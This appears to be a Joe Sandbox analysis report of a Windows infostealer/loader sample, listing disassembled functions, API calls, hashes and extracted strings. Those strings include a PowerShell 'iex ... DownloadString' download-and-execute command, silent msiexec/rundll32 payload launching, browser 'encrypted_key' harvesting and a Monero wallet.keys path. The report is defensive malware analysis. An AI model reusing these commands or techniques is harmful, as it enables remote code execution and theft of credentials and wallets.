Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: aac747f5fa114a40665815ac8924788e032100d20f15de5861e66fe17f411819
Instruction ID: 8d9073f07b6b8d6e1fc0089e15d17a0184297de1753369ccbd89e7d43ab0115b
Opcode Fuzzy Hash: aac747f5fa114a40665815ac8924788e032100d20f15de5861e66fe17f411819
Instruction Fuzzy Hash: 78515DB5A14209EBDB04DFA8D994BBE77F5FF44304F104498E805A7390D770AA86EB62

Function 00B42E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

ShellExecuteEx.SHELL32(0000003C), ref: 00B431C5
ShellExecuteEx.SHELL32(0000003C), ref: 00B4335D
ShellExecuteEx.SHELL32(0000003C), ref: 00B434EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00B43332
"" , xrefs: 00B4309A
.dll, xrefs: 00B431E5
/i ", xrefs: 00B433E4
C:\Windows\system32\msiexec.exe, xrefs: 00B434BF
/passive, xrefs: 00B4345B
<, xrefs: 00B43490
.msi, xrefs: 00B43398

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 367c735bbce6d8707050f4d9269d8c3da49ad49cb98e73033865c9aa4a975aed
Instruction ID: 1fb8aeef57769e0d7ea05f9a2c06ecf0b238a4d3aab10eecc5b3a2b49f3382d1
Opcode Fuzzy Hash: 367c735bbce6d8707050f4d9269d8c3da49ad49cb98e73033865c9aa4a975aed
Instruction Fuzzy Hash: F812DB71850108AAEB15FBA0DC92FEDB7B8EF14300F5041D9E50676191EF746B4ADF62

Function 00B452C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B36280: InternetOpenA.WININET(00B50DFE,00000001,00000000,00000000,00000000), ref: 00B362E1
Part of subcall function 00B36280: StrCmpCA.SHLWAPI(?,014EE230), ref: 00B36303
Part of subcall function 00B36280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B36335
Part of subcall function 00B36280: HttpOpenRequestA.WININET(00000000,GET,?,014EDB80,00000000,00000000,00400100,00000000), ref: 00B36385
Part of subcall function 00B36280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B363BF
Part of subcall function 00B36280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B363D1

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B45318
lstrlen.KERNEL32(00000000), ref: 00B4532F

Part of subcall function 00B48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B48E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00B45364
lstrlen.KERNEL32(00000000), ref: 00B45383
lstrlen.KERNEL32(00000000), ref: 00B453AE

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Strings

ERROR, xrefs: 00B4530A
ERROR, xrefs: 00B45432
ERROR, xrefs: 00B454A9
ERROR, xrefs: 00B4546F
ERROR, xrefs: 00B453B9

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 18042f62de70396bbd0a9c5b18766059c50627ca8f409be63a705386533faba1
Instruction ID: e74a2c5cb423651b30b8f506a937ce9b480efb0c0963bbdd782a2115d0138ec9
Opcode Fuzzy Hash: 18042f62de70396bbd0a9c5b18766059c50627ca8f409be63a705386533faba1
Instruction Fuzzy Hash: CC512F309501089BEB14FF64CD92BED77B9EF50305F504498F80A6A592EF346F45EB62

Function 00B412D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 43cc2089e9b8ab67002bd31cae7eadcd0a1142bacb7db43644ac6d084147b629
Instruction ID: 6726e5c56e7cf5a1a740cb76057f7fa283ba33abf59bb3949eebaaf934dec797
Opcode Fuzzy Hash: 43cc2089e9b8ab67002bd31cae7eadcd0a1142bacb7db43644ac6d084147b629
Instruction Fuzzy Hash: A9C161B5940219ABCB14EF64DC89FEE73B9BB54304F0045D8E50AA7241EA70AB85DFA1

Function 00B44280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B48E0B

lstrcat.KERNEL32(?,00000000), ref: 00B442EC
lstrcat.KERNEL32(?,014EDB38), ref: 00B4430B
lstrcat.KERNEL32(?,?), ref: 00B4431F
lstrcat.KERNEL32(?,014ECF18), ref: 00B44333

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B48D90: GetFileAttributesA.KERNEL32(00000000,?,00B31B54,?,?,00B5564C,?,?,00B50E1F), ref: 00B48D9F

Part of subcall function 00B39CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B39D39

Part of subcall function 00B399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B399EC
Part of subcall function 00B399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B39A11
Part of subcall function 00B399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B39A31
Part of subcall function 00B399C0: ReadFile.KERNEL32(000000FF,?,00000000,00B3148F,00000000), ref: 00B39A5A
Part of subcall function 00B399C0: LocalFree.KERNEL32(00B3148F), ref: 00B39A90
Part of subcall function 00B399C0: CloseHandle.KERNEL32(000000FF), ref: 00B39A9A

Part of subcall function 00B493C0: GlobalAlloc.KERNEL32(00000000,00B443DD,00B443DD), ref: 00B493D3

StrStrA.SHLWAPI(?,014EDCE8), ref: 00B443F3
GlobalFree.KERNEL32(?), ref: 00B44512

Part of subcall function 00B39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B34EEE,00000000,00000000), ref: 00B39AEF
Part of subcall function 00B39AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00B34EEE,00000000,?), ref: 00B39B01
Part of subcall function 00B39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B34EEE,00000000,00000000), ref: 00B39B2A
Part of subcall function 00B39AC0: LocalFree.KERNEL32(?,?,?,?,00B34EEE,00000000,?), ref: 00B39B3F

lstrcat.KERNEL32(?,00000000), ref: 00B444A3
StrCmpCA.SHLWAPI(?,00B508D1), ref: 00B444C0
lstrcat.KERNEL32(00000000,00000000), ref: 00B444D2
lstrcat.KERNEL32(00000000,?), ref: 00B444E5
lstrcat.KERNEL32(00000000,00B50FB8), ref: 00B444F4

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: a35e18590558e5782f59e05614a902652f4fe46e2a1d8ed97a71eb64a91b1fc9
Instruction ID: 3dda712ffefa55aae9d9a25739ead0ce1bce746b046cfe3d1e63c6b21a8831fe
Opcode Fuzzy Hash: a35e18590558e5782f59e05614a902652f4fe46e2a1d8ed97a71eb64a91b1fc9
Instruction Fuzzy Hash: 87714776900208A7DB14FBA4DC85FEE73BDAB88300F0445D8F61997181EA74DB55DBA1

Function 00B46770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00B46774
ExitProcess.KERNEL32 ref: 00B467A5
ExitProcess.KERNEL32 ref: 00B467AF
ExitProcess.KERNEL32 ref: 00B467B9
ExitProcess.KERNEL32 ref: 00B467C3
ExitProcess.KERNEL32 ref: 00B467CD

Strings

*, xrefs: 00B4678C

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: afa5de82bcf7db5fe07cb4b8a4fd9b725aa1cec3c8e8d0a344074344d4cd1780
Instruction ID: 0ca93aca6a6a5145e1aefa2c3458b0ee151f06517cdbe5f169eefd6cf8a22499
Opcode Fuzzy Hash: afa5de82bcf7db5fe07cb4b8a4fd9b725aa1cec3c8e8d0a344074344d4cd1780
Instruction Fuzzy Hash: BBF03A30904309EFD3489FE8A90972C7B70FB45703F040199E609C6390EA744F829BE6

Function 00B4C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00B4C8BF
___crtGetStringTypeA.LIBCMT ref: 00B4C8EC
___crtLCMapStringA.LIBCMT ref: 00B4C90C
___crtLCMapStringA.LIBCMT ref: 00B4C931

Strings

, xrefs: 00B4C896

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 61c999e5231b7d594e5e81fb08aecb924bac7c8c21ea574388f2bc3959cf4694
Instruction ID: f91d08b684c5baacbe9a069c4412977e4f5005a1d1bad141f772ec18b42a260f
Opcode Fuzzy Hash: 61c999e5231b7d594e5e81fb08aecb924bac7c8c21ea574388f2bc3959cf4694
Instruction Fuzzy Hash: CC41E67150175C6EDB228B248C84FFBBFE8DB45B04F1444E8E9CA86182D2719B44EF60

Function 00B42C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B42D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00B42CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00B42D04
')", xrefs: 00B42CB3
<, xrefs: 00B42D39

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
